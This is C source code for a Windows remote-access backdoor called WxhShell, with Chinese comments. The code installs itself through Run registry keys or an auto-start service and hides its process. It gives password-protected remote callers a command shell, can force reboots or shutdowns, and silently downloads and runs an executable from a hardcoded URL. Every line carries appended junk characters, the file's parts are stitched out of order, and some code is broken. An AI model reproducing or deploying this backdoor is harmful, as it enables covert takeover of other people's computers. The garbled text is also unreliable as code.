    if(Boot(SHUTDOWN)) CPVzX%=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C">`' G2  
    else { h,^BC^VU9-  
    closesocket(wsh); q_cC7p6t  
    ExitThread(0); 7=}6H3|&  
    } 7$!yfMttu  
    break; he"L*p*H  
    } F"!agc2!  
  // 获取shell "[k1D_PZ  
  case 's': { m;dm|4L^  
    CmdShell(wsh); Sa L"!uAk  
    closesocket(wsh); t5xb"F   
    ExitThread(0); Rv98\VD"  
    break; }*NF&PD5RU  
  } *P`v^&  
  // 退出 IE2CRBfs  
  case 'x': { 1j11|~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VM7 !0  
    CloseIt(wsh); $H'8 #:[d_  
    break; ^7.XGWQ)-  
    } _IWxYp  
  // 离开 2d-{Q 8Pi  
  case 'q': { cgyp5\*>+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K4 C ^m|e  
    closesocket(wsh); |pJC:woq  
    WSACleanup(); <$%ql'=  
    exit(1); 9z:K1  
    break; :Zza)>l  
        } UVrQV$g!  
  } FKC\VF  
  } GD!- qH  
e9&+vsRmA  
  // 提示信息 62Mdm3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); </= CZy5w  
} a5|@R<iF  
  } NetYg]8`  
^=^$tF  
  return; 'TL2%T/)t  
} jo}1u_OJ  
%<ic%gt`#  
// shell模块句柄 v9=}S\=Cd  
int CmdShell(SOCKET sock) OOokhZd`  
{ /Y,r@D  
STARTUPINFO si; F|Q H  
ZeroMemory(&si,sizeof(si)); 3V?817&6z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w]nX?S8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z&Ue|Z4Qt  
PROCESS_INFORMATION ProcessInfo; +c--&tBo  
char cmdline[]="cmd"; iwU[6A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Q-k'=6\  
  return 0; b._m8z ~  
} m[spn@SF  
#n3ykzoqIX  
// 自身启动模式 dy<27=  
int StartFromService(void) >.e+S?o  
{ \7Qb229?  
typedef struct b0rX QMu  
{ \:Za[6  
  DWORD ExitStatus; ; DDe.f"  
  DWORD PebBaseAddress; Q8q@Y R#  
  DWORD AffinityMask; Zsj`F9*e  
  DWORD BasePriority; e`iEy=W  
  ULONG UniqueProcessId; :lgi>^  
  ULONG InheritedFromUniqueProcessId; Ow@v"L;jF!  
}   PROCESS_BASIC_INFORMATION; M(enRs3`O  
L2fZ{bgy  
PROCNTQSIP NtQueryInformationProcess; ,(N[*)G  
)o{aeV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m2xBS!fm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v*z(@<Y  
{:bN/zV#  
  HANDLE             hProcess; /1d<P! H  
  PROCESS_BASIC_INFORMATION pbi; "UG K8x  
&J$##B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (u&`Ij9  
  if(NULL == hInst ) return 0; e4\dpvL  
?,)"~c$hZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XN#&NT{t}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + BL{@,zr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ J1f.YE  
wfR&li{  
  if (!NtQueryInformationProcess) return 0; o r2|O#=  
/:Lu_)5   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E7nFb:zlV  
  if(!hProcess) return 0; _w!a`w*3  
&eQJfc\a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O("Uq../3  
.Q* 'r& n  
  CloseHandle(hProcess); gmP9j)V6  
19t{|w<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BI/&dKM  
if(hProcess==NULL) return 0; I4=Xb^Ux  
=rFN1M/n{E  
HMODULE hMod; =lp1Z>  
char procName[255]; eKG2*CV  
unsigned long cbNeeded; /Vww?9U;  
y 9L14  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,DQjDMjrf  
z-r2!^q27  
  CloseHandle(hProcess); r2\c'9uH  
-Q"hZ9  
if(strstr(procName,"services")) return 1; // 以服务启动 j}f[W [2  
tg\|?  
  return 0; // 注册表启动 2eb1 lJdS  
} 3<:jx~y>  
7K;!iX<d  
// 主模块 @?k J).  
int StartWxhshell(LPSTR lpCmdLine) #_JYh?  
{ )nfEQ)L;h}  
  SOCKET wsl; K pHw-6"  
BOOL val=TRUE; BPv>$ m+.  
  int port=0; cn`iX(ZgR  
  struct sockaddr_in door; !%)]56(  
pQa:pX  
  if(wscfg.ws_autoins) Install(); ' cIEc1y  
"rhYCZ B  
port=atoi(lpCmdLine); N|usFqCNk^  
,Nm$i"Lg  
if(port<=0) port=wscfg.ws_port; ZDt?j   
k N7Bd}  
  WSADATA data; Bc5+ss  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vXE0%QE'Q  
&,:h)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `A@w7J'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uLR<FpM  
  door.sin_family = AF_INET; G`0V)S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eWs&J24  
  door.sin_port = htons(port); P8Qyhc  
78 f$6J q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kz} R[7  
closesocket(wsl); U7h(`b  
return 1; B1!kn}KlL{  
} x;s0j"`Jb  
j<<3Pr  
  if(listen(wsl,2) == INVALID_SOCKET) { YJV%a  
closesocket(wsl); .a'f|c6  
return 1; 7gF"=7{-  
} O+q/4  
  Wxhshell(wsl); 88s/Q0l  
  WSACleanup(); 3SttHu0X  
c9"r6j2m5  
return 0; ;&b.T}Nf06  
Q\ppfc{,  
} OHv!  
 VqSc;w  
// 以NT服务方式启动 AIYmS#V1W2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $sHP\{  
{ )!:sFa 1  
DWORD   status = 0; c2nKPEX&5  
  DWORD   specificError = 0xfffffff; 942lSyix  
=q7Z qP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j=RRfFg)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o\b-_E5"?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2_^aw[-  
  serviceStatus.dwWin32ExitCode     = 0; w o bgu  
  serviceStatus.dwServiceSpecificExitCode = 0; MK #wut  
  serviceStatus.dwCheckPoint       = 0; V~G`kkNy  
  serviceStatus.dwWaitHint       = 0; 8.AR.o  
kRCQv-*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uo%P+om_}  
  if (hServiceStatusHandle==0) return; l7H qo)  
YyAJ m^o  
status = GetLastError(); "TyJP[/  
  if (status!=NO_ERROR) u$#Wv2|mk  
{ q[q?hQ/b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B%CTOi  
    serviceStatus.dwCheckPoint       = 0; CAq/K?:8  
    serviceStatus.dwWaitHint       = 0; `.jzuX  
    serviceStatus.dwWin32ExitCode     = status; `{k"8#4:qA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1RcSTg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U1_@F$mq<  
    return; P262Q&.}d  
  } H,fZ!8(A_)  
Dl(3wgA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K_)eWf0a  
  serviceStatus.dwCheckPoint       = 0; i':ydDOOHA  
  serviceStatus.dwWaitHint       = 0; fWfk[(M'9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2WX7nK;I  
} J]l rS  
(.w Ie/  
// 处理NT服务事件,比如:启动、停止 M>9-=$7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fZ04!R  
{ I-y#Ks1p+  
switch(fdwControl) KqBk~-G  
{ #} ~qqJ G2  
case SERVICE_CONTROL_STOP: -}O1dEn.  
  serviceStatus.dwWin32ExitCode = 0; vE@!{*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^k5ll=}  
  serviceStatus.dwCheckPoint   = 0; )'17r82a  
  serviceStatus.dwWaitHint     = 0; <h%O?mkC  
  { {;toI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4#x5MM  
  } MFTk qbc  
  return; J;_}lF9d@  
case SERVICE_CONTROL_PAUSE: X[`bMa7IB(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b2aF 'y/  
  break; EVp,Q"V]  
case SERVICE_CONTROL_CONTINUE: 3bk|<7tl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ) [0T16  
  break; f` =CpO*  
case SERVICE_CONTROL_INTERROGATE: }bY; q-  
  break; Tc8 un.  
};  N\:. M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O5$/55PI  
} &j(+/;A  
Ee4&g<X.  
// 标准应用程序主函数 ?]D"k4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W;bu2ym&Q  
{ 3)-/`iy#  
ee%fqVQ8P  
// 获取操作系统版本 ~gB>) ]  
OsIsNt=GetOsVer(); 5N%93{L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C<KrMRWh^  
(WJ${OW  
  // 从命令行安装 ? A(QyaKz  
  if(strpbrk(lpCmdLine,"iI")) Install(); xX*H7#  
wP[t0/dl  
  // 下载执行文件 GpZ c5c  
if(wscfg.ws_downexe) { !Mi;*ZR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 64hk2a8  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q+g!V5'  
} n 1!?"m!  
*OuStr \o  
if(!OsIsNt) { )Ke*JJaq  
// 如果时win9x,隐藏进程并且设置为注册表启动 aLIBD'z  
HideProc(); 0a-:<zm  
StartWxhshell(lpCmdLine); /rUo{j  
} .e=C{  
else CPNL 94x  
  if(StartFromService()) jqPkc28  
  // 以服务方式启动 B6wRg8  
  StartServiceCtrlDispatcher(DispatchTable); C@th O  
else &f&z_WU  
  // 普通方式启动 ^Z:~91Tv-_  
  StartWxhshell(lpCmdLine); \&H nKhI  
v4C{<8:X  
return 0; m1Y >Nj[f  
} >JiltF7H0  
zN  [2YJ$  
rETRTp0HT  
mEG#>Gg$  
=========================================== '` pDngX  
:=J,z,H_U  
&^W|iXi#  
Fd0 %lnui  
M bb x`  
K_dOq68_  
" } \ZaE~  
s8}@=]aA  
#include <stdio.h> H,b5C_D29  
#include <string.h> qAw x2fPu  
#include <windows.h> mauI42  
#include <winsock2.h> ^MVkZ{gtre  
#include <winsvc.h> >%wLAS",w  
#include <urlmon.h> XGl+S  
s0PrbL%_`  
#pragma comment (lib, "Ws2_32.lib") u,&^&0K,  
#pragma comment (lib, "urlmon.lib") @HOBRRm`  
>yULC|'F&~  
#define MAX_USER   100 // 最大客户端连接数 t^w"w`v\u  
#define BUF_SOCK   200 // sock buffer xP[n  
#define KEY_BUFF   255 // 输入 buffer zzxGAVu  
Dc_yM  
#define REBOOT     0   // 重启 iRrl^\qn  
#define SHUTDOWN   1   // 关机 gSh+}r<7  
d+'p@!W_  
#define DEF_PORT   5000 // 监听端口 ariLG [:X  
nJo`B4'U  
#define REG_LEN     16   // 注册表键长度 NUp<e%zB  
#define SVC_LEN     80   // NT服务名长度  rwI  
5F~'gLH/F-  
// 从dll定义API ~-I +9F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %HL*c =  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E160A5BTx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UX dUO@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h@[R6G|  
)Q .>rX,F  
// wxhshell配置信息 {DR`;ea])1  
struct WSCFG { [<6S%s  
  int ws_port;         // 监听端口 $g sxO!G  
  char ws_passstr[REG_LEN]; // 口令 -:na: Vsi  
  int ws_autoins;       // 安装标记, 1=yes 0=no PbmDNKEh{  
  char ws_regname[REG_LEN]; // 注册表键名 S;)w.  
  char ws_svcname[REG_LEN]; // 服务名 6Aku1h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tQjLOv+?=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @~%r5pz6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #E&80#Z5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {j7uv"|X7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^pYxKU_O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4y+< dw  
#*KNPh  
}; lR(+tj)9uO  
svq<)hAf<  
// default Wxhshell configuration TTKs3iTXz  
struct WSCFG wscfg={DEF_PORT, FAj)OTI2S  
    "xuhuanlingzhe", ihfiK|a  
    1, iB498t  
    "Wxhshell", 3J5!oF{H  
    "Wxhshell", 4 XAQVq5  
            "WxhShell Service", sashzVwJ-=  
    "Wrsky Windows CmdShell Service", NB8/g0:=n&  
    "Please Input Your Password: ", (,8$V\  
  1, K|Di1)7=/  
  "http://www.wrsky.com/wxhshell.exe", v+X)Qmzf~  
  "Wxhshell.exe" 6#HK'7ClL  
    }; tfGHea)M  
!s&NT @ S  
// 消息定义模块 yI"6Da6|y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1#ft#-g}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @9lUSk^9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; apu4DAy&8  
char *msg_ws_ext="\n\rExit."; o/+13C  
char *msg_ws_end="\n\rQuit."; SF>c\eTtx  
char *msg_ws_boot="\n\rReboot..."; W#hj 1  
char *msg_ws_poff="\n\rShutdown..."; =,UWX3`f  
char *msg_ws_down="\n\rSave to "; Y$?9Zkp>  
tQBRA/  
char *msg_ws_err="\n\rErr!"; , T8>}U(  
char *msg_ws_ok="\n\rOK!"; IWY;="  
-$dXE+&   
char ExeFile[MAX_PATH]; e=+?K5q{P(  
int nUser = 0;  7*?}:  
HANDLE handles[MAX_USER]; !K'}K>iT  
int OsIsNt; o !vE~  
rv|)n>m  
SERVICE_STATUS       serviceStatus; ]{ntt}3G,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 50o~ P!Lz|  
<psZQdH  
// 函数声明 ~4 `5tb  
int Install(void); U15H@h  
int Uninstall(void); uLWh |   
int DownloadFile(char *sURL, SOCKET wsh); E(Z8  
int Boot(int flag); mD^ jd+  
void HideProc(void); Z7=`VNHc  
int GetOsVer(void); `.i!NBA'6  
int Wxhshell(SOCKET wsl); .p e(lP  
void TalkWithClient(void *cs); R wZ]),o  
int CmdShell(SOCKET sock); .%L?J E  
int StartFromService(void); jbS\vyG  
int StartWxhshell(LPSTR lpCmdLine); .8by"?**  
*tK\R&4,4s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5) pj]S!]-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _t^{a]/H  
`#;e)1  
// 数据结构和表定义 m>MB7,C;N  
SERVICE_TABLE_ENTRY DispatchTable[] = Ndi9FD3im  
{ XBp?w  
{wscfg.ws_svcname, NTServiceMain}, j'MO(ev  
{NULL, NULL} }#&#^ B#?O  
}; TztAZ2C  
/(.mp<s0  
// 自我安装 sXD1C2o  
int Install(void) E.Jkf\  
{ IX>d`O61*g  
  char svExeFile[MAX_PATH]; \uaJ @{Vug  
  HKEY key; yrC7F` .  
  strcpy(svExeFile,ExeFile); v~@pMA$(h  
V{:A3C41  
// 如果是win9x系统,修改注册表设为自启动 fmb} 2h  
if(!OsIsNt) { "HDcmIXg&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @tZ&2RY1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Bf%s(Uj+  
  RegCloseKey(key); Q+W1lv8R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MP4z-4Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MM x9(`t*.  
  RegCloseKey(key); PqiB\~o@Z  
  return 0; T^Ze3L]  
    } 7r~~Y%=C|  
  } Lcg)UcB-#  
} -T[lx\}  
else { [YUv7|\  
J /f  
// 如果是NT以上系统,安装为系统服务 JNJ=e,O,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VCD:3U 8  
if (schSCManager!=0) 8j=}u/T@F  
{ x6e}( &p*  
  SC_HANDLE schService = CreateService tX> G,hw  
  ( 9*{[buZX  
  schSCManager, )~HUo9K9  
  wscfg.ws_svcname, k{Me[B  
  wscfg.ws_svcdisp, 6y9t(m  
  SERVICE_ALL_ACCESS, !g(KK|`,m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QT>`^/]d  
  SERVICE_AUTO_START, U8LtG/  
  SERVICE_ERROR_NORMAL, G"Sd@%W(  
  svExeFile, VrxQc qPr`  
  NULL, f;xkT  
  NULL, y&?6FY  
  NULL, SBIj<Yy]  
  NULL, Zw ^kmSL"  
  NULL !AKg m'Nw  
  ); 3G`aHTWk  
  if (schService!=0) 'i4_`^:+  
  { ,Qe?8En[  
  CloseServiceHandle(schService); tm#nUw  
  CloseServiceHandle(schSCManager); /Q2mMSK1h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q=/</|  
  strcat(svExeFile,wscfg.ws_svcname); q&W[j5E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "3)4vuX@;c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k=4N.*#`y  
  RegCloseKey(key); CkdP#}f  
  return 0; oBzfbg8p  
    } H\:lxR^  
  } |Y[wzDYV  
  CloseServiceHandle(schSCManager); d+Ek%_  
} T ^~5n6  
} JAQb{KefdO  
"6us#T  
return 1; FMClSeO7  
} n=c 2K c  
P#XID 2;  
// 自我卸载 O]1y0BOQ  
int Uninstall(void) *Of4o  
{ Z`KC%!8K  
  HKEY key; Nz],IG.  
RWg No #<  
if(!OsIsNt) { k|lcc^[0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }DK7'K  
  RegDeleteValue(key,wscfg.ws_regname); znaUBv_  
  RegCloseKey(key); *2 2nVKi {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7zSLAHW  
  RegDeleteValue(key,wscfg.ws_regname); lMg+R<$~I  
  RegCloseKey(key); j+["JXy  
  return 0; @++.FEf  
  } 1M 781  
} ZGYr$C~  
} O2f-5Y$@  
else { ),ma_{$N  
,kF}lo)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l33Pm/V2?  
if (schSCManager!=0) O^^C;U@U<1  
{ qpE&go=k'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y<Fz)dQo  
  if (schService!=0) {O`w,dMOI  
  { '4|-9M3f  
  if(DeleteService(schService)!=0) { }9W4"e2)  
  CloseServiceHandle(schService); ?l^1 *Q,  
  CloseServiceHandle(schSCManager); w6W}"Uw  
  return 0; /|eA9 ]  
  } jg\Z;_!W  
  CloseServiceHandle(schService); ZfgJ.<<  
  }  s8rE$  
  CloseServiceHandle(schSCManager); $}jssnoU  
} YtfVD7m  
} <F=xtyl7  
Gch[Otq]%  
return 1; lo,$-bJ,<,  
} Ou1JIxZ)|  
}0X:F`Y-  
// 从指定url下载文件 "0cID3A$  
int DownloadFile(char *sURL, SOCKET wsh) zOa_X~!@  
{ L"j tf78  
  HRESULT hr; < !dqTJos  
char seps[]= "/"; 5yiK+-iTs  
char *token; OSf}Q=BL  
char *file; *Ie7{EhJ'  
char myURL[MAX_PATH]; $+3}po\  
char myFILE[MAX_PATH]; X7i/fm{l'  
kT!9`S\  
strcpy(myURL,sURL); pFHz"]  
  token=strtok(myURL,seps); 9uBM<  
  while(token!=NULL) ~(IB0=A{v  
  { i2&ed_h<?  
    file=token; _cJ2\`M  
  token=strtok(NULL,seps); CS=qj-(  
  } }=8B*  
+[tE^`-F  
GetCurrentDirectory(MAX_PATH,myFILE); v>-VlQ  
strcat(myFILE, "\\"); dnb)/  
strcat(myFILE, file); A' /KUi  
  send(wsh,myFILE,strlen(myFILE),0); .b-f9qc=  
send(wsh,"...",3,0); 2m35R&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g;8jK 8 Kh  
  if(hr==S_OK) }woo%N P  
return 0; mA*AeP_$  
else eZdu2.;<  
return 1; ,;Hu=;  
t7?Zxq  
} `P8Vh+7u  
B&.FO O  
// 系统电源模块 u( wGl_  
int Boot(int flag) }c}| $h^Y  
{ [h34d5'w  
  HANDLE hToken; F>-B 3x  
  TOKEN_PRIVILEGES tkp; .G)(0z("s  
-:Ia^{YN  
  if(OsIsNt) { cg m~>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7qg{v9|,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]jaQ[g$F  
    tkp.PrivilegeCount = 1; P3nb2.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pk3<|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6u`)QUmItg  
if(flag==REBOOT) { C~N/A73gF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %y|)=cm[  
  return 0; {jho&Ai  
} d_)o  
else { ,>eMG=C;g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0\@dYPa&C  
  return 0; , 'ZD=4_  
} LjUy*mxw  
  } Ar:*oiU  
  else { !2'jrJGc  
if(flag==REBOOT) { -sjd&)~S[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pm\x~3jHs  
  return 0; -"h;uDz|z  
} !\"5rNy  
else { MV\|e1B}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *WIj4G.d  
  return 0; sZL#xZ5 Df  
} fD07VBS yl  
} bX*Hi#J~A  
vt;{9\Y  
return 1; nM-h&na{s  
} 3&[>u;Bp  
DiEluA&w9  
// win9x进程隐藏模块 '6xQT-sUih  
void HideProc(void) i 4%xfN  
{ dz *7gL;7G  
Sk:ws&D1u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t0nI('LX,  
  if ( hKernel != NULL ) NyVnA  
  { z(fAnn T?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +S R+x/?z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kRTwaNDOD  
    FreeLibrary(hKernel); -x'z XvWZ  
  } 839IRM@'5  
qZh1`\G  
return; ;IVDr:  
} 8ZKo_I\  
)Lwc  
// 获取操作系统版本 4 &_NJ\  
int GetOsVer(void) {e[c  
{ sp5eVAd  
  OSVERSIONINFO winfo; Tjl:|F8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8&Oa_{1+Q  
  GetVersionEx(&winfo); nD)K}4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P4F3Dc  
  return 1; C!R1})_^  
  else O=$~O\}b  
  return 0; awOd_![c'  
} mFSw@CC  
0\:(ageY?  
// 客户端句柄模块 H'LD}\K l  
int Wxhshell(SOCKET wsl) j8fpj{hp  
{ 0MkSf*  
  SOCKET wsh; AwTJJ0>  
  struct sockaddr_in client; \uXcLhXN  
  DWORD myID; j~+>o[c  
g-e #!(  
  while(nUser<MAX_USER) A%^w^f  
{ XvE9 b5}  
  int nSize=sizeof(client); QR Ei7@t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Pd"h S  
  if(wsh==INVALID_SOCKET) return 1; .9"Y_/0   
V\{tmDE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h-m \%|D  
if(handles[nUser]==0) ,daKC  
  closesocket(wsh); ^~$)F_`"  
else RgGyoZ  
  nUser++; _x? uU  
  } ObE,$_ k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <6fv1d+v  
*0|IXGr  
  return 0; L}FO jrN  
} HS.^y x  
F P>)&3>_  
// 关闭 socket .'rW.'Ft  
void CloseIt(SOCKET wsh) 8Y_ol#\L  
{ Vg>(  Y,  
closesocket(wsh); U R%4@   
nUser--; i-'9AYyw  
ExitThread(0); :OkT? (i  
} j8n4fv-)f  
v $7EvFS  
// 客户端请求句柄 LK;k'IJ  
void TalkWithClient(void *cs) ]b=P=  
{ wo3wtx  
ylB7*>[  
  SOCKET wsh=(SOCKET)cs; m@Qt.4m%g  
  char pwd[SVC_LEN]; X5`AGyX  
  char cmd[KEY_BUFF]; KMV=%o  
char chr[1]; ?qX)ihe%k  
int i,j; 9&2Vm;F_  
V~hlq$jn<Y  
  while (nUser < MAX_USER) { \|Ul]1pO8  
PmR~c,  
if(wscfg.ws_passstr) { 0k'e:AjP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ezi-VGjr]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |0\0a&tkPl  
  //ZeroMemory(pwd,KEY_BUFF); Hw|AA?,0-  
      i=0; u@.>Z{h  
  while(i<SVC_LEN) { aj"M>zd*}  
\2(SB  
  // 设置超时 @0eHS +  
  fd_set FdRead; <N`J`J-[  
  struct timeval TimeOut; #_|sgS?1  
  FD_ZERO(&FdRead); K3' niGT  
  FD_SET(wsh,&FdRead); p?2Y }9  
  TimeOut.tv_sec=8; d~?X/sJ t  
  TimeOut.tv_usec=0; `D":Q=:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |8.(XsN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t2V0lyeL  
`$~Rxz Z g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fk6x<^Q<w  
  pwd=chr[0]; 8NU`^L:1  
  if(chr[0]==0xd || chr[0]==0xa) { $rhgzpZ!X_  
  pwd=0; e{A9r@p!  
  break; +MB!B9M@  
  } b-Z4 Jo G  
  i++; wBInq~K_  
    } xxm%u9@s  
/c$\X<b);  
  // 如果是非法用户,关闭 socket r&2~~_d3y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D!oc>K$B  
} %&Fk4Z}M  
Lj"A4i_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;=9 >MS}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cDoo*  
$%%os6y2v  
while(1) { +e-,ST&w(  
e|rg;`AW  
  ZeroMemory(cmd,KEY_BUFF); WH$e2[+Y  
F*Z=<]<+  
      // 自动支持客户端 telnet标准   x%<  
  j=0; =B];?%  
  while(j<KEY_BUFF) { 1Fe^Qb5G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Si=m;g  
  cmd[j]=chr[0]; *1'`"D~  
  if(chr[0]==0xa || chr[0]==0xd) { >F@qpjoQE  
  cmd[j]=0; ooj~&fu  
  break; ?+t1ME|  
  } k78Vh$AA6%  
  j++; _oB_YL;,*  
    } Ka|eFprS  
jS!`2li?{  
  // 下载文件 `' 153M]  
  if(strstr(cmd,"http://")) { s3 ;DG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qe'g3z>  
  if(DownloadFile(cmd,wsh)) D-U<u@A4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tj*y)28-  
  else ~aXqU#8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^ StIw{X  
  } a Zk&`Jpz  
  else { \@~UDP]7  
*<'M!iRC  
